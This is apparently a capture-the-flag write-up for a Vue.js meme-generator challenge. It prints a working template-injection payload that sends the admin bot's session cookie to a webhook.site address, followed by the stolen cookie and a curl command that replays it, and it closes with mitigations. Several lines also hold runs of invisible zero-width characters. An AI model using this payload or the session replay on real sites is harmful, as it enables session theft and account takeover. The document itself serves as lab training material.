← Back to Writeups
CUSTOMMediumWeb

155 - Генератор Мемов (Meme Generator)

XESXOR9/10/20263 min read
#web#custom#medium#client_side_template_injection#cookie_exfiltration#vue_compile_abuse

155 - Генератор Мемов (Meme Generator)

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: client_side_template_injection, cookie_exfiltration, vue_compile_abuse

Summary

Walkthrough of the CUSTOM Web 155 - Генератор Мемов (Meme Generator). Task: Meme generator web app with Vue.js frontend and admin bot. Solution: Exploited Client-Side Template Injection (CSTI) via Vue.compile() to steal admin session cookie and access flag.


title: "155 - Генератор Мемов (Meme Generator)" id: 20260115_duckerz_155_meme_generator category: web difficulty: medium event: duckerz tags: ["admin_bot", "cookie_stealing", "csti", "session_hijacking", "vuejs", "xss"] techniques: ["client_side_template_injection", "cookie_exfiltration", "vue_compile_abuse"] tools: ["curl", "browser", "webhook.site"] indicators: ["Vue.compile()", "{{ }} syntax preserved", "admin bot/report feature", "Flask session cookie"]

155 - Генератор Мемов (Meme Generator) — DUCKERZ CTF

Description

Создавай мемы и делись ими с друзьями! (Create memes and share them with friends!)

URL: http://tasks.duckerz.ru:30028

Analysis

Reconnaissance

Site analysis revealed:

  1. Backend: Flask (Werkzeug)
  2. Frontend: Vue.js 2
  3. Functionality: creating memes with text, viewing, reporting

Vulnerable Code

Found the compileText() function in the page source:

javascript
compileText(text) {
    // Escape HTML tags but leave Vue syntax {{ }} for CSTI
    // This blocks regular XSS but allows template injection
    const vueTemplateRegex = /\{\{[\s\S]*?\}\}/g;
    // ... HTML tags are escaped but Vue templates are preserved
    const compiled = Vue.compile(`<span>${processed}</span>`);
    // ...
}

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Key findings:

  • HTML tags are escaped (protection against classic XSS)
  • Vue.js syntax {{ }} is intentionally left unescaped
  • The comment in the code directly points to CSTI!
  • There's a "Report" feature — admin bot checks reported memes

Attack Vector

Client-Side Template Injection (CSTI) in Vue.js allows executing arbitrary JavaScript through the constructor:

javascript
{{constructor.constructor("CODE")()}}

Solution

Step 1: Registration

Registered as testuser123 on the site. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Step 2: Creating Malicious Meme

Created a meme with CSTI payload for cookie stealing:

{{constructor.constructor("new Image().src=\"https://webhook.site/e8fd5575-a2a4-4b84-a4b4-96ee02ac1871?c=\"+document.cookie")()}}

How it works:

  1. constructor.constructor — access to Function constructor
  2. Create a new Image object with src pointing to webhook
  3. Pass document.cookie in URL parameter c
  4. Browser makes GET request to webhook with cookies

Step 3: Submitting Report

Submitted a report on the created meme via API: ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

bash
POST /api/reports
Content-Type: application/json

{"meme_id": "<meme_id>"}

Step 4: Receiving Admin Cookie

Admin bot opened the meme page, Vue.js compiled and executed the payload.

Received request on webhook.site:

GET /?c=session=eyJ1c2VybmFtZSI6ImFkbWluIn0.aWjwxQ.ndU1bL6o6amFQm9KY5TwcgXxchg

Stolen session:

session=eyJ1c2VybmFtZSI6ImFkbWluIn0.aWjwxQ.ndU1bL6o6amFQm9KY5TwcgXxchg

Decoding Flask session (base64):

json
{"username": "admin"}

Step 5: Accessing Admin Data

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Used the stolen session to access admin's memes:

bash
curl -H "Cookie: session=eyJ1c2VybmFtZSI6ImFkbWluIn0.aWjwxQ.ndU1bL6o6amFQm9KY5TwcgXxchg" \
     "http://tasks.duckerz.ru:30028/api/memes?user=admin"

The flag was found in one of admin's memes.

Defense

To prevent CSTI:

  1. Never pass user input to Vue.compile()
  2. Escape {{ }} syntax along with HTML
  3. Use v-text instead of {{ }} for dynamic content
  4. Set HttpOnly flag on session cookies
  5. Use CSP (Content Security Policy) ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

References

  • Vue.js CSTI Research
  • Client-Side Template Injection ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Key Takeaways / Lessons

  • Mastering client_side_template_injection, cookie_exfiltration, vue_compile_abuse was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-01-15 • CUSTOM • 155 - Генератор Мемов (Meme Generator) • Difficulty: Medium